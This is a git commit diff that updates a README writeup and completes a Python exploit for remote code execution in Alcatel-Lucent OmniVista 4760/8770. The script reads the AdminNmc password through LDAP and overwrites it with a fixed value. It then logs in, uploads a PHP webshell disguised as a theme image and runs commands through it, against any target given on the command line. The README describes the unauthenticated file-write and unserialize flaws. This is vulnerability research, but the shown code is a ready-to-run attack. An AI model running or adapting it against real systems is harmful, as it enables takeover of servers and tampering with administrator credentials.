Corrections in readme; full exploit implementation

This commit is contained in:
Giulio 2019-11-29 11:00:50 +01:00
parent e7a60c81aa
commit a49df9bab0
2 changed files with 67 additions and 19 deletions

View File

@ -1,27 +1,27 @@
# Alcatel-Lucent Omnivista 4760/8770 RCE 0day # Alcatel-Lucent Omnivista 4760/8770 RCE 0day
### Tldr ### Tldr
* *4760* suffers an unauthenticated remote code execution as SYSTEM. No special configuration is required * *4760* suffers an unauthenticated remote code execution as SYSTEM. No special configuration is required
* *8770* and **4760* suffers a remote administrative password dislclosure, no special configuration required * *8770* and *4760* both suffer a remote administrative password dislclosure. No special configuration required
* *8770* suffer an authenticated remote code execution vulnerability. When chained with the disclosure vulnerability, it becomes a unauth RCE. In this case access to the port 389 and a directory license is required * *8770* suffer an authenticated remote code execution vulnerability. When chained with the disclosure vulnerability, it becomes an unauth RCE. In this case access to the port 389 and a directory license are required
## Previous work ## Previous work
* https://www.cvedetails.com/cve/CVE-2007-5190/ * https://www.cvedetails.com/cve/CVE-2007-5190/
* https://github.com/malerisch/omnivista-8770-unauth-rce * https://github.com/malerisch/omnivista-8770-unauth-rce
## Intro ## Intro
I did noticed this software a while ago while doing a penetration test. It captured my attention because it had a php interface which seemed very old a not greatly designed (not only graphically). As shown in the previous section, there wasn't any known vulnerability in this component. I wasn't unable to find any useful vulnerability with the source code, but only a few hints: I did noticed this software a while ago while doing a penetration test. It captured my attention because it had a php interface which seemed very old a not greatly designed (not only graphically). As shown in the previous section, there wasn't any known vulnerability in this component. I wasn't unable to find any useful vulnerability without the source code, but only a few hints:
* Exposed error log in `/log/error.log/` * Exposed error log in `/log/error.log/`
* Error log showed LDAP errors when trying special characters in login and search forms * Error log showed LDAP errors when trying special characters in login and search forms
* Error log showed failed `unserialize()` calls while decoding the `bookmarks`, the `themes` or the `cfilter` cookie * Error log showed failed `unserialize()` calls while decoding the `bookmarks`, the `themes` or the `cfilter` cookie
The LDAP injection didn't look too promising and while it *might* be possible to extract the hashed passwords I wasn't looking into that. I was more curious about the `unserialize()` calls but without having any clue about the PHP code behind I decided to not waste any more time and get the source code. The LDAP injection didn't look too promising and while it *might* be possible to extract the hashed passwords I wasn't looking into that. I was more curious about the `unserialize()` calls but without any clue about the PHP code behind I decided to not waste any more time and try to get a copy of the whole software.
## Versions ## Versions
* *4760* very old and deprecated * *4760* very old and deprecated
* *8770* currently updated and sold * *8770* currently updated and sold
## The hardest part... Getting the source code ## The hardest part... Getting a copy
Unfortunately the OmniVista 4760/8770 software is not easy to get as a researcher. It is distributed as a CD/DVD only to legitimate companies via local Alcatel-Lucent partners. Unfortunately the OmniVista 4760/8770 software is not easy to get as a researcher. It is distributed as a CD/DVD only to legitimate companies via local Alcatel-Lucent partners.
I had a bit of experience in looking for not easily available softwares: I had a bit of experience in looking for not easily available softwares:
1. Get the file name (CD name) or any component name. It can be often found in online documentation, sometimes on the manufacturer website but most often on manuals uploaded by random users, for example on Scribd. Other resources includes dedicated forums, in this case [https://www.alcatelunleashed.com/](https://www.alcatelunleashed.com/). 1. Get the file name (CD name) or any component name. It can be often found in online documentation, sometimes on the manufacturer website but most often on manuals uploaded by random users, for example on Scribd. Other resources includes dedicated forums, in this case [https://www.alcatelunleashed.com/](https://www.alcatelunleashed.com/).
@ -29,14 +29,15 @@ I had a bit of experience in looking for not easily available softwares:
3. Look on 4shared.com :) https://www.4shared.com/rar/HsteugXy/A4760_R500702b.html (while the search function is not much powerful, sorting by size helps a lot) 3. Look on 4shared.com :) https://www.4shared.com/rar/HsteugXy/A4760_R500702b.html (while the search function is not much powerful, sorting by size helps a lot)
## Unpacking it ## Unpacking it
Since the 4760 is an ancient product I fired up a Windows XP virtual machine and tried installing it. Like it happens most of the time with enterprise software, the install failed and neither the main services were set up properly nor any PHP files was extracted. Part of the files were packed with the ancient ACE file format, probbly with some custom modifications, and even binwalk couldn't do much. Since the 4760 is an ancient product I fired up a Windows XP virtual machine and tried installing it. Like it happens most of the time with enterprise software, the installation failed and neither the main services were set up properly nor any PHP files was extracted. Part of the files were packed with the ancient ACE file format, probbly with some custom modifications, and even binwalk couldn't do much.
When i started getting frustrated with all this ancient enteprisise crap, i finally found the PHP files inside a CAB archive. But unpleasant surprises are not finished because the files are Zend Encoded and can't be seimply read. When i started getting frustrated with all this ancient enteprisise crap, i finally found the PHP files inside a CAB archive.
## Vulnerbilities ## Vulnerbilities
### 4760 pre auth RCE ### 4760 pre auth RCE
Info.php
_info.php_
``` ```
<?php <?php
@ -49,8 +50,9 @@ if ($MyG["void"] == "phDPhd") {
?> ?>
``` ```
The following two functions are used to get POST and DATA variable as well as to to manage SESSION. The following two functions are used to get POST and GET variables as well as to to manage SESSION.
utils.php
_utils.php_
``` ```
function varform($nom) function varform($nom)
{ {
@ -99,8 +101,9 @@ function sessionform($nom)
return $var; return $var;
} }
``` ```
As we can see the following code checks for the users permissions before showing the page to edit a template. As we can see the following code checks for the users permissions before showing the page used to edit a template.
EditThemeAction.php
_EditThemeAction.php_
``` ```
<?php <?php
require_once "vars.php"; require_once "vars.php";
@ -141,7 +144,8 @@ class EditThemeAction
The default themes are numbered from 1 to 4 and each one has its files stored in `/theme/<id>`. Each theme folder contains a `params.st` file which contains a serialized PHP Object containing the theme configuration. The default themes are numbered from 1 to 4 and each one has its files stored in `/theme/<id>`. Each theme folder contains a `params.st` file which contains a serialized PHP Object containing the theme configuration.
However, as seen below, the authentication and permission check is not performed when actually saving an edit. The only condition that might be a problem is the `CompareThemeDate()`, which compares the last edit time of the `params.st` file with the value saved in session in the code above (`$MyG["themeDate"] = $skin->GetLastMDate()`). This check, intended or not, prevent an unauthenticated user to perfor the save, unless in the destination folder a `params.st` file is not yet present. However, as seen below, the authentication and permission check is not performed when actually saving an edit. The only condition that might be a problem is the `CompareThemeDate()`, which compares the last edit time of the `params.st` file with the value saved in session in the code above (`$MyG["themeDate"] = $skin->GetLastMDate()`). This check, intended or not, prevent an unauthenticated user to perfor the save, unless in the destination folder a `params.st` file is not yet present.
SaveThemeAction.php
_SaveThemeAction.php_
``` ```
<?php <?php
@ -181,7 +185,8 @@ class SaveThemeAction
?> ?>
``` ```
The final pieces of vulnerable code are in The final pieces of vulnerable code are in
SkinAccess.php
_SkinAccess.php_
``` ```
class SkinAccess class SkinAccess
{ {
@ -310,6 +315,7 @@ Unfortunately, while all the previous vulnerabilities do work even when a "Direc
## Other issues ## Other issues
* Multipele calls to unserialize on untrusted data: * Multipele calls to unserialize on untrusted data:
``` ```
unserialize(gzuncompress($MyG["themes"])); unserialize(gzuncompress($MyG["themes"]));
unserialize(gzuncompress($_COOKIE["station"])); unserialize(gzuncompress($_COOKIE["station"]));
@ -317,4 +323,5 @@ Unfortunately, while all the previous vulnerabilities do work even when a "Direc
unserialize(gzuncompress($MyG["bookmarks"])); unserialize(gzuncompress($MyG["bookmarks"]));
``` ```
I did not find an exploitable chain but: all the PHP version shipped with this product have multiple unserialize CVE and I did not find a way but it is possible to play with the COM class. I did not find an exploitable chain but: all the PHP version shipped with this product have multiple unserialize CVE and I did not find a way but it is possible to play with the COM class.
* LDAP injections? * LDAP injections?

View File

@ -1,6 +1,7 @@
import requests import requests
import socket import socket
import ldap import ldap
import sys
from urllib.parse import urlparse from urllib.parse import urlparse
from urllib3.exceptions import InsecureRequestWarning from urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning) requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
@ -69,8 +70,35 @@ class OmniVista:
connect = ldap.initialize('ldap://' + self.addr) connect = ldap.initialize('ldap://' + self.addr)
connect.set_option(ldap.OPT_REFERRALS, 0) connect.set_option(ldap.OPT_REFERRALS, 0)
connect.simple_bind_s(self.username, self.password) connect.simple_bind_s(self.username, self.password)
result = connect.search_s('o=nmc', ldap.SCOPE_SUBTREE) result = connect.search_s('o=nmc', ldap.SCOPE_SUBTREE, '(cn=AdminNmc)')
print(result) print('[*] Current AdminNmc password: ' + str(result[0][1]['userpassword'][0]))
self.bind = connect
return True
def editadminpassword(self):
self.adminusername = "AdminNmc"
self.adminpassword = "Lsdcat_exploit1!"
self.bind.modify_s("uid=AdminNmc,cn=Administrators,cn=8770 administration,o=nmc", [(ldap.MOD_REPLACE, 'userpassword', self.adminpassword.encode('utf-8') )])
return True
def login(self):
self.session = requests.session()
r = self.session.post(self.host + 'php-bin/webclient.php', data = {"action": "loginCheck", "userLogin": self.adminusername, "userPass": self.adminpassword }, verify = False)
if 'Directory license is required!' in r.text:
return False
else:
return True
def exploit8770(self):
r = self.session.post(self.host + 'php-bin/webclient.php',
data = {"action": "saveTheme", "themeId": "2"},
files = { "BgImg1": (self.filename, self.webshell, "image/png")},
verify = False)
if 'success' in r.text:
return True
def exec8770(self):
return requests.post(self.host + 'Theme2/' + 'poc.php', data = {"0": cmd}, verify=False).text
def exploit4760(self): def exploit4760(self):
for folder in self.folders: for folder in self.folders:
@ -103,7 +131,17 @@ class OmniVista:
if self.checkldap(): if self.checkldap():
print('[*] LDAP Service is accessible!') print('[*] LDAP Service is accessible!')
self.connectldap() self.connectldap()
print("Stuff here") print('[*] Changing AdminNmc password')
self.editadminpassword()
print('[*] Logging in')
if self.login():
self.exploit8770()
output = self.exec8770("whoami")
print('[*] Webshell at {}{}{}'.format(self.host, "themes/Theme2/", self.filename))
print('[*] Command output: '.format(output))
else:
print("[x] Directory license not installed :/")
return False
else: else:
print("[x] LDAP Service is not directly accessible") print("[x] LDAP Service is not directly accessible")
return False return False
@ -112,5 +150,8 @@ class OmniVista:
print("[x] Target is not an OmniVista 4760/8770") print("[x] Target is not an OmniVista 4760/8770")
return False return False
#exploit = OmniVista('') if len(sys.argv) != 2:
#exploit.autoexploit() print("Usage: ./omnivista.py http(s)://target.tld")
else:
exploit = OmniVista(sys.argv[1])
exploit.autoexploit()